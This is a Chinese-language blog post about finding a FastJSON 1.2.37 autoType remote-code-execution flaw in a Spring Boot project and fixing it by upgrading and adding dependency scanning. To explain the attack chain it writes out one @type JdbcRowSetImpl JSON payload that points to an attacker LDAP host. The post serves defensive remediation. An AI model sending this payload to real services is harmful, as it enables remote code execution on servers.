Java安全漏洞排查:FastJSON 1.2.37 autoType风险实录与升级Fastjson2完整方案 老炮踩坑录 · F03· 翻车现场系列·基于「企业融合评估平台」真实源码给整个 pom.xml 做一次安全 CT·关键词FastJSON · autoType · RCE · CVE · 依赖安全 · pom.xml 体检 欢迎阅读个人主页知守观我的专栏老炮踩坑录当前内容Java安全漏洞排查文章目录引子安全扫描报告出来的那刻我沉默了autoType 是什么为什么能远程执行代码1.2.37 有多脆弱一张 CVE 清单给 pom.xml 做一次安全 CT体检结果为什么没人更新项目里 FastJSON 到底怎么用的场景一HTTP 响应解析攻击面中场景二Session 反序列化攻击面低场景三全局 HTTP 消息转换器攻击面高场景四JSON 序列化输出攻击面低攻击面汇总怎么改三步走第一步紧急止血——开启 SafeMode5 分钟第二步升级版本30 分钟第三步给 pom.xml 建立安全巡检机制FastJSON 的启示选型一时爽维护火葬场为什么项目里同时有 FastJSON 和 Jackson老炮的建议这个坑给我的教训pom.xml 安全巡检 Checklist引子安全扫描报告出来的那刻我沉默了2022 年下半年公司接了个企业测评的单子。第三方安全机构拿着扫描器对着我们的系统扫了一圈三天后报告就出来了。安全工程师打电话过来语气很客气的说“您好我们检测到您的系统存在一个远程代码执行RCE漏洞CVSS 评分 9.8建议立即修复。”我心想不至于吧Spring Boot 项目能有什么 RCE拿到报告打开一看傻眼了漏洞描述写着漏洞名称Alibaba FastJSON autoType 远程代码执行漏洞 风险等级严重CVSS 9.8 影响版本FastJSON 1.2.68 当前版本FastJSON 1.2.37于是打开pom.xml搜了一下fastjsondependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.37/version/dependency1.2.37。2018 年 5 月发布的版本。距离安全报告出具日已经四年半没有更新了。更扎心的是——我搜了一下整个项目的 Java 源码import com.alibaba.fastjson出现了25 处遍布登录、鉴权、报告生成、Session 缓存等核心链路。也就是说这个四年半没更新的 JSON 库不是某个边缘模块在用——它是整个系统的 JSON 基础设施。autoType 是什么为什么能远程执行代码先看一段代码。项目里LoginServiceImpl.java的登录流程有这么一行// LoginServiceImpl.java L248StringresultJSON.parseObject(resultMap.get(result).toString()).getString(data);JSON.parseObject()做的事情是拿到一个 JSON 字符串解析成 Java 对象。正常情况下JSON 长这样{code:200,msg:success,data:{username:zhangsan}}解析出来就是一个JSONObject没什么问题。但如果 JSON 长这样呢{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://attacker.com/exploit,autoCommit:true}注意这个type字段。FastJSON 的 autoType 机制会这样做看到type取出值com.sun.rowset.JdbcRowSetImpl用Class.forName()加载这个类根据 JSON 里的其他字段调用对应的 setter 方法setDataSourceName(ldap://attacker.com/exploit)→ JNDI 查找 → 连接攻击者的 LDAP 服务器 →下载并执行恶意 class 文件整个过程一段 JSON 字符串 → 远程代码执行。不需要认证不需要任何特殊权限只要你的接口接收 JSON 并且用了 FastJSON 解析。这就是 autoType RCE 的完整攻击链。1.2.37 有多脆弱一张 CVE 清单FastJSON 的 autoType 漏洞不是一个 CVE而是一串。因为每修一次安全研究员就找到新的绕过方式形成了打地鼠式的攻防拉锯我们的 1.2.37上面四个 CVE 全部命中。不是可能存在风险是确定可以被远程攻击。安全报告里写的那句话我现在还记得“当前版本 1.2.37 存在已知的远程代码执行漏洞攻击者可通过构造恶意 JSON 请求实现服务器端任意代码执行无需任何身份认证。”给 pom.xml 做一次安全 CTFastJSON 只是冰山一角。既然安全扫描已经开始了我干脆把整个pom.xml拉出来做一次全面体检。体检结果9 个依赖7 个有风险3 个严重。最刺眼的是两行commons-fileupload 1.32013 年的版本存在 CVE-2023-24998DoS 漏洞CVSS 7.5Spring Boot 2.1.02018 年的版本2022 年 11 月已经彻底停止维护这个项目不是在做开发是在考古。为什么没人更新原因很简单当初能跑就行。2022 年这个项目是别人 2019 年搭建的骨架。当时 Spring Boot 2.1.0 还是最新稳定版FastJSON 1.2.37 是经过验证的老版本。没人会想到两年后这些版本全变成了安全漏洞。世上没有无 Bug 的系统只有不断迭代升级的系统。但 “没人想到” 不等于 “不会发生”。项目里 FastJSON 到底怎么用的光说版本危险还远远不够我们得看攻击面有多大。我扫了一遍整个项目的 FastJSON 使用场景场景一HTTP 响应解析攻击面中// LoginServiceImpl.java L178JSONObjectjsonObjectJSON.parseObject(resultMap.get(result).toString());这里是解析内部 HTTP 调用的返回值。数据来源是后端服务之间的通信不是用户直接输入的。攻击面中等——如果攻击者能劫持内部服务通信比如同网段的一台被控机器就可以注入恶意 JSON。场景二Session 反序列化攻击面低// SessionCacheUtils.java L173returnJSON.parseObject(userInfoObj.toString(),SysAccount.class);这里用了parseObject(String, Class)的形式指定了目标类型为SysAccount.class。表面上看指定了 Class 似乎安全一些——FastJSON 会尝试把 JSON 映射到SysAccount的字段上。但在 1.2.37 版本中如果 JSON 里嵌套了type字段即使外层指定了 Class内层的 autoType 仍然会被触发。场景三全局 HTTP 消息转换器攻击面高// AutoConfiguration.java导入部分importcom.alibaba.fastjson.serializer.SerializerFeature;importcom.alibaba.fastjson.support.config.FastJsonConfig;importcom.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;虽然当前AutoConfiguration.java里没有显式注册FastJsonHttpMessageConverter的 Bean但这些 import 说明曾经配置过。而且 Spring Boot 的自动配置机制会检测 classpath 上的 FastJSON——如果spring.factories里有注册消息转换器可能默认就生效了。这意味着所有RequestBody接收的 JSON 请求都可能经过 FastJSON 解析。如果真是这样攻击面就是所有对外暴露的 API 接口。场景四JSON 序列化输出攻击面低// WebUtils.java L548writeJson(response,JSON.toJSONString(object),MediaType.APPLICATION_JSON_UTF8_VALUE);// AuthAspect.java L323returnJSON.toJSONString(fail);toJSONString()是序列化方向Java 对象 → JSON 字符串不涉及 autoType 反序列化。但SerializerFeature的某些配置比如WriteClassName会在输出时写入type为后续的反序列化攻击埋下种子。攻击面汇总结论攻击面比想象的大。如果 HTTP 消息转换器真的默认生效了那每一个 POST 接口都是一个潜在的攻击入口。怎么改三步走第一步紧急止血——开启 SafeMode5 分钟FastJSON 1.2.68 引入了safeMode模式彻底禁用 autoType不管黑白名单ParserConfig.getGlobalInstance().setSafeMode(true);加在Application.java的main()方法里第一行。但问题是——1.2.37 没有 SafeMode。SafeMode 是 1.2.68 才加的。所以对于 1.2.37唯一的止血方案是升级版本。第二步升级版本30 分钟方案 A升级到 FastJSON 1.2.831.x 最终版dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.83_noneautotype/version/dependency注意 artifactId 是fastjson1.2.83_noneautotype——这是官方发布的永久禁用 autoType的版本专门给不想折腾的老项目用。改完 pom.xml有跑一遍全量回归测试确保所有 JSON 解析正常。方案 B迁移到 FastJSON 2.xdependencygroupIdcom.alibaba.fastjson2/groupIdartifactIdfastjson2/artifactIdversion2.0.40/version/dependencyFastJSON 2 是完全重写的版本默认禁用 autoTypeAPI 兼容 1.x包名从com.alibaba.fastjson改为com.alibaba.fastjson2。但迁移成本更高——25 处 import 要改部分 API 有细微差异。对于这个项目我推荐方案 A改动最小风险最低一行 pom.xml 修改就能解决。有个细节我没完全确认fastjson1.2.83_noneautotype和普通1.2.83的兼容性差异到底有多大官方说API一样但项目里25处调用场景复杂有没有人踩过迁移后行为不一致的坑有经验的兄弟评论区指点一下。第三步给 pom.xml 建立安全巡检机制升级 FastJSON 只是治标。真正要解决的是**“依赖几年没人管”**这个问题。做法一接入 OWASP Dependency-CheckplugingroupIdorg.owasp/groupIdartifactIddependency-check-maven/artifactIdversion8.4.0/versionexecutionsexecutiongoalsgoalcheck/goal/goals/execution/executions/plugin每次mvn package自动扫描依赖的 CVE有高危漏洞直接构建失败。做法二CI/CD 里加 Snyk / 阿里云制品扫描如果用 Jenkins 或 GitLab CI加一个安全扫描阶段每次提交自动检测。做法三人工巡检——最低成本每个月花 10 分钟跑一次mvn versions:display-dependency-updates看看哪些依赖有新版本。不需要每个都升但至少知道哪些是过时的。FastJSON 的启示选型一时爽维护火葬场回过头看FastJSON 在这个项目里的问题不只是版本老——选它本身就是个值得讨论的问题。为什么项目里同时有 FastJSON 和 Jackson看 pom.xml!-- FastJSON --dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.37/version/dependency!-- JacksonSpring Boot 自带 --dependencygroupIdcom.fasterxml.jackson.datatype/groupIdartifactIdjackson-datatype-guava/artifactIdversion2.9.8/version/dependencySpring Boot 默认用 Jackson 做 JSON 序列化。项目又引入了 FastJSON。两套 JSON 库共存到底谁在干活答案是都在干。Spring MVC 的RequestBody/ResponseBody默认走Jackson业务代码里的JSON.parseObject()/JSON.toJSONString()走FastJSON如果FastJsonHttpMessageConverter被注册了Spring MVC 就走FastJSON两套库两套配置两套序列化行为。Long型字段在 Jackson 里默认序列化成数字在 FastJSON 里也是数字但Date字段的格式、null值的处理、循环引用的行为——全都不一样。这就是选型不统一的代价表面上两个库都能用实际上没人说得清到底谁在什么时候起了作用。老炮的建议这个坑给我的教训教训一依赖不是引入就完了它是有生命周期的。引入一个第三方库就像招了一个员工——你得持续跟进它的版本更新、安全公告、社区活跃度。一个四年半没更新的依赖就是一个四年半没人管的员工指不定什么时候捅出篓子。教训二安全扫描不是走过场。如果不是等保测评逼着扫了一遍这个 FastJSON 1.2.37 不知道还要在项目里躺多久。它不报错、不抛异常、业务跑得欢——但漏洞就在那里等着被利用。教训三选型时的方便都是维护时的债务。FastJSON 的 API 确实比 Jackson 简洁——JSON.parseObject()一行搞定不用配ObjectMapper。但当初省下的每一行代码都变成了日后的维护成本。最后问一句你们项目有没有接入依赖安全扫描是每次构建自动扫还是等保测评前临时抱佛脚评论区聊聊我看看有多少项目在“裸奔”。pom.xml 安全巡检 Checklist我们的项目上线前都应该对 pom.xml文件做一次安全漏洞检查并修改出现的漏洞。你的项目还在用1.2.37吗评论区说说你遇到的安全坑。自查打卡打开你的pom.xml搜fastjson把版本号打在评论区。我看看有多少项目还在用1.x。下期预告《我用 Executors 创建线程池被阿里规约第一页打了脸》我们把安全漏洞改完了下一步该改代码了。newFixedThreadPool(5)背后藏着一个无界队列任务堆积OOM 只是时间问题。阿里开发手册第一页就写了禁止使用 Executors 创建线程池这个项目偏偏全用了。下期我们讲讲这个项目里的线程池踩坑实录以及ThreadPoolExecutor的正确配置方式。我是老炮18 年 Java 老兵仍在一线。如对您有点帮助希望您点赞、收藏加关注。关注「Java老炮踩坑录」不错过每一篇真实案例少踩坑。